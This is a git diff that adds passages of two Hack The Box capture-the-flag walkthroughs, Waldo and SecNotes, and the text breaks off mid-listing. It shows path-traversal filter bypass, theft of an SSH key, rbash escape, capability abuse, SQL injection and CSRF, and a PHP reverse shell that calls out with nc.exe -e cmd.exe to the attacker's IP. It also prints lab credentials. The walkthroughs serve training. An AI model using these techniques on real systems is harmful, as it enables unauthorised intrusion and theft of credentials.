backslashes becomes : + + + str_replace( array("../", "..\"), "", $_POST['path']); + + + +And here we see that we are able to bypass the filter by using this sequence : **....//....//....//....//** + +![](prg/30_006.png) + +Now that we have verified that it was possible to list the directories in /home, we found the user "nobody", now let's try to see if he has any interesting files in his .ssh folder : + +![](prg/30_006.png) + +it looks like the .monitor file seems interesting, so let's print it using /fileRead.php using the local file inclusion we used for /dirRead.php: + +![](prg/30_007.png) ![](prg/30_008.png) + +And we have a private ssh key ! now let's save it locally, and we need to transform the \n into new lines, remove the remaining \, give it the appropriate permissions and then use it to log in via ssh: + +![](prg/30_009.png) + +Once the \n newlines are replaced with actual newlines, remove the backslashes: + +![](prg/30_010.png) + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Waldo] + → nano pkey + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Waldo] + → chmod 600 pkey + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Waldo] + → ssh -i pkey nobody@10.10.10.87 + The authenticity of host '10.10.10.87 (10.10.10.87)' can't be established. + ECDSA key fingerprint is SHA256:S4nfJbcTY7WAdYp2v16xgnUj4MEIzqZ/jwbGI92FXEk. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.87' (ECDSA) to the list of known hosts. + Welcome to Alpine! + + The Alpine Wiki contains a large amount of how-to guides and general + information about administrating Alpine systems. + See <****http://wiki.alpinelinux.org>. + waldo:~$ whoami + nobody + waldo:~$ cat ~/user.txt + 32XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now what's weird here is that we have been able to login as the user nobody with the .monitor private key, although there should be a monitor user + + + waldo:~$ cat /etc/passwd + root:x:0:0:root:/root:/bin/ash + bin:x:1:1:bin:/bin:/sbin/nologin + daemon:x:2:2:daemon:/sbin:/sbin/nologin + adm:x:3:4:adm:/var/adm:/sbin/nologin + lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin + sync:x:5:0:sync:/sbin:/bin/sync + shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown + halt:x:7:0:halt:/sbin:/sbin/halt + mail:x:8:12:mail:/var/spool/mail:/sbin/nologin + news:x:9:13:news:/usr/lib/news:/sbin/nologin + uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin + operator:x:11:0:operator:/root:/bin/sh + man:x:13:15:man:/usr/man:/sbin/nologin + postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin + cron:x:16:16:cron:/var/spool/cron:/sbin/nologin + ftp:x:21:21::/var/lib/ftp:/sbin/nologin + sshd:x:22:22:sshd:/dev/null:/sbin/nologin + at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin + squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin + xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin + games:x:35:35:games:/usr/games:/sbin/nologin + postgres:x:70:70::/var/lib/postgresql:/bin/sh + cyrus:x:85:12::/usr/cyrus:/sbin/nologin + vpopmail:x:89:89::/var/vpopmail:/sbin/nologin + ntp:x:123:123:NTP:/var/empty:/sbin/nologin + smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin + guest:x:405:100:guest:/dev/null:/sbin/nologin + nobody:x:65534:65534:nobody:/home/nobody:/bin/sh + nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin + waldo:~$ cat /etc/passwd | grep monitor + waldo:~$ + + +But as you can see, the user monitor is not there, poking around we realise that we are in a container. So this would potentially mean that we are not in the system itself, but just contained within it. So we can assume that we are able to login via ssh as the user monitor into the real system the same way by simply specifying the correct username, which in this case would be "monitor" + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/Waldo] + → ssh -i pkey monitor@10.10.10.87 + + +Which you probably guessed , can't be done remotely, we have to do it from the box itself, hence the Pivoting aspect of this box: + + + [0] nihilist [ 10.10.14.24/23 ] [~/_HTB/Waldo] + → ssh -i pkey nobody@10.10.10.87 + Welcome to Alpine! + + The Alpine Wiki contains a large amount of how-to guides and general + information about administrating Alpine systems. + See . + waldo:~$ cd .ssh + waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 + + + +And only then we are able to really land on the system : + + + waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 + The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. + ECDSA key fingerprint is SHA256:YHb7KyiwRxyN62du1P80KmeA9Ap50jgU6JlRaXThs/M. + Are you sure you want to continue connecting (yes/no)? yes + Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. + Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64 + &. + @@@,@@/ % + #*/%@@@@/.&@@, + @@@#@@#&@#&#&@@@,*%/ + /@@@&###########@@&*(* + (@################%@@@@@. /** + @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/ + %@@@@%##########&@@@.... .#%#@@@@@@@# + @@&%#########@@@@/ */@@@%(((@@@% + @@@#%@@%@@@, *&@@@&%(((#((((@@( + /(@@@@@@@ *&@@@@%((((((((((((#@@( + %/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#, + %@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# & + *@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/ + /@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@& + *@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@& + %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/ + @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/ + @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@* + @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@ + *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@. + @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@ + @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@. + .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@* + @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@( + .@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/ + *@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/ + *@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@ + *@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@# + (@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@ + /@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@# + %@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@, + ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@ + &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@ + /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@( + @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#* + *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@ + @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@, + @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ + &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@# + %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ + ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@, + *@@,,,,,,,.,****,..,,,,,,,,&@@ + (@(,,,.,,,,,,,,,,,,,,.,,,/@@ + .@@,,,,,,,,,,,,,...,,,,,,@@ + ,@@@,,,,,,,,,,,,,,,,.(@@@ + %@@@@&(,,,,*(#&@@@@@@, + + Here's Waldo, where's root? + Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1 + -rbash: alias: command not found + monitor@waldo:~$ uname -a + -rbash: uname: command not found + + +

From there we are in a restricted bash (rbash) but we can evade it by specifying the correct flags when we connect via ssh as the monitor user.

+

+      waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -t bash --noprofile
+    
+      monitor@waldo:~$ ls
+      app-dev  bin
+    
+      monitor@waldo:~$ uname -a
+      bash: uname: command not found
+    
+      monitor@waldo:~$ echo $PATH
+    /home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
+    
+

As you can see, we need to manually set our $PATH variable, so let's make sure we can execute binaries from /bin /sbin /usr/bin and so on.

+

+      monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
+      monitor@waldo:~$ uname -a
+      Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64 GNU/Linux
+    
+

Now we have access to the binaries we need, and we can continue to poke around the box , we take a look into monitor/app-dev

+

+      monitor@waldo:~$ cd app-dev
+      monitor@waldo:~/app-dev$ pwd
+      /home/monitor/app-dev
+      monitor@waldo:~/app-dev$ ls
+      logMonitor  logMonitor.bak  logMonitor.c  logMonitor.h  logMonitor.h.gch  logMonitor.o  makefile  v0.1
+    
+

In here we have access to the sourcecode of an application written in C, although the interesting part is in the v0.1 folder :

+

+      monitor@waldo:~/app-dev$ cd v0.1
+      monitor@waldo:~/app-dev/v0.1$ ls -lash
+      total 24K
+      4.0K drwxr-x--- 2 app-dev monitor 4.0K May  3  2018 .
+      4.0K drwxrwx--- 3 app-dev monitor 4.0K May  3  2018 ..
+       16K -r-xr-x--- 1 app-dev monitor  14K May  3  2018 logMonitor-0.1
+      monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a
+      Mar 20 06:17:01 waldo CRON[929]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 06:17:01 waldo CRON[929]: pam_unix(cron:session): session closed for user root
+      Mar 20 06:25:01 waldo CRON[934]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 06:25:01 waldo CRON[934]: pam_unix(cron:session): session closed for user root
+      Mar 20 07:17:01 waldo CRON[1018]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 07:17:01 waldo CRON[1018]: pam_unix(cron:session): session closed for user root
+      Mar 20 07:30:01 waldo CRON[1023]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 07:30:01 waldo CRON[1023]: pam_unix(cron:session): session closed for user root
+      Mar 20 08:17:01 waldo CRON[1047]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 08:17:01 waldo CRON[1047]: pam_unix(cron:session): session closed for user root
+      Mar 20 09:17:01 waldo CRON[1064]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 09:17:01 waldo CRON[1064]: pam_unix(cron:session): session closed for user root
+      Mar 20 10:17:01 waldo CRON[1095]: pam_unix(cron:session): session opened for user root by (uid=0)
+      Mar 20 10:17:01 waldo CRON[1095]: pam_unix(cron:session): session closed for user root
+      Mar 20 10:27:59 waldo sshd[1112]: Accepted publickey for monitor from 127.0.0.1 port 55516 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
+      Mar 20 10:27:59 waldo sshd[1112]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
+      Mar 20 10:27:59 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
+      Mar 20 10:27:59 waldo systemd-logind[356]: New session 8 of user monitor.
+      Mar 20 10:30:45 waldo sshd[1121]: Received disconnect from 127.0.0.1 port 55516:11: disconnected by user
+      Mar 20 10:30:45 waldo sshd[1121]: Disconnected from 127.0.0.1 port 55516
+      Mar 20 10:30:45 waldo sshd[1112]: pam_unix(sshd:session): session closed for user monitor
+      Mar 20 10:30:45 waldo systemd-logind[356]: Removed session 8.
+      Mar 20 10:31:01 waldo sshd[1148]: Accepted publickey for monitor from 127.0.0.1 port 55518 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
+      Mar 20 10:31:01 waldo sshd[1148]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
+      Mar 20 10:31:01 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
+      Mar 20 10:31:01 waldo systemd-logind[356]: New session 10 of user monitor.
+    
+

It looks like the application is able to read log files even though it doesn't have the SUID bit set which is abit odd since + the other logMonitor-0.1 binary was owned by the same user :

+

+      monitor@waldo:~/app-dev/v0.1$ ls -lash logMonitor-0.1 && ls -lash ../logMonitor
+      16K -r-xr-x--- 1 app-dev monitor 14K May  3  2018 logMonitor-0.1
+      16K -rwxrwx--- 1 app-dev monitor 14K Jul 24  2018 ../logMonitor
+    
+

Both are owned by the same user, and the previous logMonitor binary even has more permissions than this one which is odd, + this is because there is something called "file capabilities" which we can check by using the command getcap :

+

+      monitor@waldo:~/app-dev/v0.1$ getcap -r logMonitor-0.1
+      logMonitor-0.1 = cap_dac_read_search+ei
+    
+

This logMonitor-0.1 file has the cap_dac_read_search capability which allows it to bypass the read permission checks + and directory all three RWX checks, which is quite handy, but we can't use this file to read anything other than + the log files:

+

+      monitor@waldo:~/app-dev/v0.1$ getcap -r /* 2>/dev/null
+      /home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
+      /usr/bin/tac = cap_dac_read_search+ei
+    
+

So that's weird, apparently this can be used to read /usr/bin/tac so let's investigate it :

+

+      monitor@waldo:~/app-dev/v0.1$ file /usr/bin/tac
+      /usr/bin/tac: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c24dbf3a64cb509bf8bde1aa4ecf04fca8959ae, stripped
+      monitor@waldo:~/app-dev/v0.1$ /usr/bin/tac
+      ^C
+      monitor@waldo:~/app-dev/v0.1$ /usr/bin/tac --help
+      Usage: /usr/bin/tac [OPTION]... [FILE]...
+      Write each FILE to standard output, last line first.
+    
+      With no FILE, or when FILE is -, read standard input.
+    
+      Mandatory arguments to long options are mandatory for short options too.
+        -b, --before             attach the separator before instead of after
+        -r, --regex              interpret the separator as a regular expression
+        -s, --separator=STRING   use STRING as the separator instead of newline
+            --help     display this help and exit
+            --version  output version information and exit
+    
+      GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
+      Full documentation at: <http://www.gnu.org/software/coreutils/tac>
+      or available locally via: info '(coreutils) tac invocation'
+    
+

Interesting binary, since we can use it to write each FILE to stdout, and as we saw earlier, /usr/bin/tac has the cap_dac_read_search capabilities which + allows it to bypass the RWX permission checks, so let's see if we can use it to read the root flag :

+

+      monitor@waldo:~/app-dev/v0.1$ /usr/bin/tac /root/root.txt
+      8fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+    
+

And that's it ! We have been able to print out the root flag.

+ + + + + +
+
+
+
+

Conclusion



+

Here we can see the progress graph :

+

+
+
+
+
+ + + +
+
+
+
+

Nihilism

+

+ Until there is Nothing left.



Creative Commons Zero: No Rights Reserved
+ +

+
+ +
+

My Links

+

+ + RSS Feed
SimpleX Chat
+ +

+
+ +
+

About nihilist

+

Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8


+
+ +
+ +
+
+ + + + + + + + diff --git a/Medium/31.md b/Medium/31.md new file mode 100644 index 0000000..99cc35a --- /dev/null +++ b/Medium/31.md @@ -0,0 +1,449 @@ +# SecNotes Writeup + +![](img/31.png) + +## Introduction : + +SecNotes is a Medium windows box released back in August 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + {Ø} nihilist [ 10.10.14.24/23 ] [~] + → nmap -sCV -p80,445,8808 10.10.10.97 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 17:47 GMT + Nmap scan report for 10.10.10.97 + Host is up (0.086s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + | http-title: Secure Notes - Login + |_Requested resource was login.php + 445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB) + 8808/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: IIS Windows + Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 2h20m13s, deviation: 4h02m30s, median: 12s + | smb-os-discovery: + | OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3) + | OS CPE: cpe:/o:microsoft:windows_10::- + | Computer name: SECNOTES + | NetBIOS computer name: SECNOTES\x00 + | Workgroup: HTB\x00 + |_ System time: 2020-03-20T10:48:06-07:00 + | smb-security-mode: + | account_used: <****blank> + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-03-20T17:48:08 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 53.54 seconds + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running http IIS 10.0 so let's investigate it: + +![](prg/31_001.png) + +Here we see 2 input boxes, and trying a simple XSS payload we see that the box is vulnerable : + +![](prg/31_002.png) + +Although only our own user sees the error which won't get us anywhere. So let's create an account and login: + +![](prg/31_003.png) + +Now for this next part we'll exploit the box's Cross Site Request Forgery (XSRF) within the "change password" page and the "contact us" page: + +![](prg/31_004.png) ![](prg/31_005.png) + +Now that we intercepted our password changing request with burpsuite, we send it to the repeater (CTRL+R) and go there (CTRL+SHIFT+R) + +![](prg/31_006.png) + +This is probably the unintended way, but once we hit send on the "contact us Page" we get the following result : + +![](prg/31_007.png) + +And we recieved a GET request from the box ! which got our XSRF html iframe, now that's one way of getting progress on the box, But the intended way was to do a simple SQL Injection on the previous login page to view the other users notes: + + + 'OR 1 OR' + + + +` ![](prg/31_008.png) + +Log in with out SQLi credentials, and we can view the other users notes ! + +![](prg/31_009.png) + +So we have 2 things here : credentials (tyler / 92g!mA8BGjOirkL%OG*&) and we have a domain name: secnotes.htb So let's first add the domainname to our /etc/hosts file, and then check out this new-site: + + + {Ø} root [ 10.10.14.24/23 ] [nihilist/_HTB/SecNotes] + → echo '10.10.10.97 secnotes.htb' >> /etc/hosts + + + +Now the trick here was that we had to remember that our nmap scan picked up the smb service running on port 445, which was actually where this new-site was located. + +![](prg/31_010.png) + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → smbclient //secnotes.htb/new-site -U "tyler" + Enter WORKGROUP\tyler's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Sun Aug 19 19:06:14 2018 + .. D 0 Sun Aug 19 19:06:14 2018 + iisstart.htm A 696 Thu Jun 21 16:26:03 2018 + iisstart.png A 98757 Thu Jun 21 16:26:03 2018 + + 12978687 blocks of size 4096. 8120724 blocks available + smb: \> + + +And we are logged in via smb ! Now we are once again hinted towards an IIS website running, which was the port 8808 that our nmap scan picked up earlier. + +![](prg/31_011.png) + +From there all that we have to do is upload our reverse php shell and use it to get onto the box. + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → locate nihilist.php + /home/nihilist/_HTB/Apocalyst/nihilist.php + /home/nihilist/_HTB/Bastard/nihilist.php + /home/nihilist/_HTB/Cronos/nihilist.php + /home/nihilist/_HTB/Enterprise/nihilist.php + /home/nihilist/_HTB/Haircut/nihilist.php + /home/nihilist/_HTB/Meow/nihilist.php + /home/nihilist/_HTB/Networked/nihilist.php.gif + /home/nihilist/_HTB/October/nihilist.php5 + /home/nihilist/_HTB/Popcorn/nihilist.php + /home/nihilist/_HTB/Popcorn/nihilist.php.gif + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → cp /home/nihilist/_HTB/Apocalyst/nihilist.php . + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → nano nihilist.php + + +Now the trick here is, we are not on a Linux box like on [Apocalyst](11.html), we need to tweak our reverse php shell like so : + + + <****?php + system('nc.exe -e cmd.exe 10.10.14.24 9001') + ?****> + +As you probably guessed it, we need to upload both our nc.exe and our nihilist.php to the system, So we first download nc, save our reverse shell, and then put them both on the box via smb's put command: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip + --2020-03-21 07:47:29-- https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip + Resolving eternallybored.org (eternallybored.org)... 84.255.206.8, 2a01:260:4094:1:42:42:42:42 + Connecting to eternallybored.org (eternallybored.org)|84.255.206.8|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 111892 (109K) [application/zip] + Saving to: ‘netcat-win32-1.12.zip’ + + netcat-win32-1.12.zip 100%[============================================================================>] 109.27K --.-KB/s in 0.1s + + 2020-03-21 07:47:29 (771 KB/s) - ‘netcat-win32-1.12.zip’ saved [111892/111892] + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → unzip netcat-win32-1.12.zip + Archive: netcat-win32-1.12.zip + inflating: doexec.c + inflating: getopt.c + inflating: netcat.c + inflating: generic.h + inflating: getopt.h + inflating: hobbit.txt + inflating: license.txt + inflating: readme.txt + inflating: Makefile + inflating: nc.exe + inflating: nc64.exe + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → nano nihilist.php + + +Now that we have them both, upload them to smb: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → smbclient //secnotes.htb/new-site -U "tyler" + Enter WORKGROUP\tyler's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Sun Aug 19 19:06:14 2018 + .. D 0 Sun Aug 19 19:06:14 2018 + iisstart.htm A 696 Thu Jun 21 16:26:03 2018 + iisstart.png A 98757 Thu Jun 21 16:26:03 2018 + + 12978687 blocks of size 4096. 8120724 blocks available + smb: \> put nihilist.php + putting file nihilist.php as \nihilist.php (0.2 kb/s) (average 0.2 kb/s) + smb: \> put nc.exe + putting file nc.exe as \nc.exe (83.4 kb/s) (average 51.0 kb/s) + smb: \> + + +Then use curl and netcat to get a reverse shell onto the box : + +![](prg/31_012.png) + +And we have a reverse shell ! now let's print out tyler's user flag: + + + {Ø} nihilist [ 10.10.14.24/23 ] [~/_HTB/SecNotes] + → nc -lvnp 9001 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9001 + Ncat: Listening on 0.0.0.0:9001 + Ncat: Connection from 10.10.10.97. + Ncat: Connection from 10.10.10.97:49706. + Microsoft Windows [Version 10.0.17134.228] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\inetpub\new-site>cd ../../../.. + cd ../../../.. + + C:\>type C:\Users\tyler\Desktop\user.txt + type C:\Users\tyler\Desktop\user.txt + 6fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc on this machine we take a look into tyler's Desktop for interesting files: + + + C:\Users\tyler\Desktop>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9CDD-BADA + + Directory of C:\Users\tyler\Desktop + + 08/19/2018 03:51 PM <****DIR> . + 08/19/2018 03:51 PM <****DIR> .. + 06/22/2018 03:09 AM 1,293 bash.lnk + 04/11/2018 04:34 PM 1,142 Command Prompt.lnk + 04/11/2018 04:34 PM 407 File Explorer.lnk + 06/21/2018 05:50 PM 1,417 Microsoft Edge.lnk + 06/21/2018 09:17 AM 1,110 Notepad++.lnk + 08/19/2018 09:25 AM 34 user.txt + 08/19/2018 10:59 AM 2,494 Windows PowerShell.lnk + 7 File(s) 7,897 bytes + 2 Dir(s) 33,260,896,256 bytes free + +Here we are hinted towards a Windows Subsystem for Linux with this bash.lnk, so since this is a .lnk it is only a shortcut to the executable we need, we need to find where the original bash.exe is: + + + C:\Users\tyler\Desktop>cd /windows + cd /windows + + C:\Windows>dir *.exe /b/s | findstr bash + + +So we use the windows equialent of a recursive search with grep and we get the following result: + + + C:\Windows>dir *.exe /b/s | findstr bash + dir *.exe /b/s | findstr bash + C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe + + +So we just cd there and execute bash.exe: + + + C:\Windows>cd C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\ + cd C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\ + + C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9CDD-BADA + + Directory of C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5 + + 06/21/2018 03:02 PM <****DIR> . + 06/21/2018 03:02 PM <****DIR> .. + 06/21/2018 03:02 PM 115,712 bash.exe + 1 File(s) 115,712 bytes + 2 Dir(s) 33,260,892,160 bytes free + +now we execute bash.exe and we see a dmesg error about being unable to spawn us a tty shell, so we look for python and see that python is there so that we can spawn the tty shell ourselves: + + + C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5>bash.exe + bash.exe + mesg: ttyname failed: Inappropriate ioctl for device + + whoami + root + + which python + /usr/bin/python + + python -c "import pty;pty.spawn('/bin/bash')" + + root@SECNOTES:~# uname -a && whoami + uname -a && whoami + Linux SECNOTES 4.4.0-17134-Microsoft #137-Microsoft Thu Jun 14 18:46:00 PST 2018 x86_64 x86_64 x86_64 GNU/Linux + root + + root@SECNOTES:~# cat /root/root.txt + cat /root/root.txt + cat: /root/root.txt: No such file or directory + + +Once we have spawned our tty shell, we see that we can't quite print out the root flag from the /root folder, because that's not a linux box it's a windows box, the root flag is most probably in C:\Users\Administrator\Desktop\root.txt + + + root@SECNOTES:~# ls /mnt + ls /mnt + c + root@SECNOTES:~# ls /mnt/c + ls /mnt/c + ls: cannot read symbolic link '/mnt/c/Documents and Settings': Permission denied + ls: cannot access '/mnt/c/pagefile.sys': Permission denied + ls: cannot access '/mnt/c/swapfile.sys': Permission denied + '$Recycle.Bin' 'Program Files (x86)' bootmgr + BOOTNXT ProgramData inetpub + Distros Recovery pagefile.sys + 'Documents and Settings' 'System Volume Information' php7 + Microsoft Ubuntu.zip swapfile.sys + PerfLogs Users + 'Program Files' Windows + root@SECNOTES:~# cat /mnt/c/Users/Administrator/Desktop/root.txt + cat /mnt/c/Users/Administrator/Desktop/root.txt + cat: /mnt/c/Users/Administrator/Desktop/root.txt: Permission denied + + +But we're out of luck, we get permission denied, so let's check out what the root user previously did by looking into his bash history : + + + root@SECNOTES:~# ls -lash + ls -lash + total 8.0K + 0 drwx------ 1 root root 512 Jun 22 2018 . + 0 drwxr-xr-x 1 root root 512 Jun 21 2018 .. + 4.0K ---------- 1 root root 398 Jun 22 2018 .bash_history + 4.0K -rw-r--r-- 1 root root 3.1K Jun 22 2018 .bashrc + 0 -rw-r--r-- 1 root root 148 Aug 17 2015 .profile + 0 drwxrwxrwx 1 root root 512 Jun 22 2018 filesystem + + root@SECNOTES:~# cat .bash_history + cat .bash_history + cd /mnt/c/ + ls + cd Users/ + cd / + cd ~ + ls + pwd + mkdir filesystem + mount //127.0.0.1/c$ filesystem/ + sudo apt install cifs-utils + mount //127.0.0.1/c$ filesystem/ + mount //127.0.0.1/c$ filesystem/ -o user=administrator + cat /proc/filesystems + sudo modprobe cifs + smbclient + apt install smbclient + smbclient + **smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$** + > .bash_history + less .bash_history + + +Interesting, the root user apparently hints us towards using this specific smbclient command so let's do it : + + + exitroot@SECNOTES:~# smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$ + \\c$lient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\ + WARNING: The "syslog" option is deprecated + Try "help" to get a list of possible commands. + smb: \> ls + ls + $Recycle.Bin DHS 0 Thu Jun 21 15:24:29 2018 + bootmgr AHSR 395268 Fri Jul 10 04:00:31 2015 + BOOTNXT AHS 1 Fri Jul 10 04:00:31 2015 + Distros D 0 Thu Jun 21 15:07:52 2018 + Documents and Settings DHS 0 Fri Jul 10 05:21:38 2015 + inetpub D 0 Thu Jun 21 18:47:33 2018 + Microsoft D 0 Fri Jun 22 14:09:10 2018 + pagefile.sys AHS 738197504 Fri Mar 20 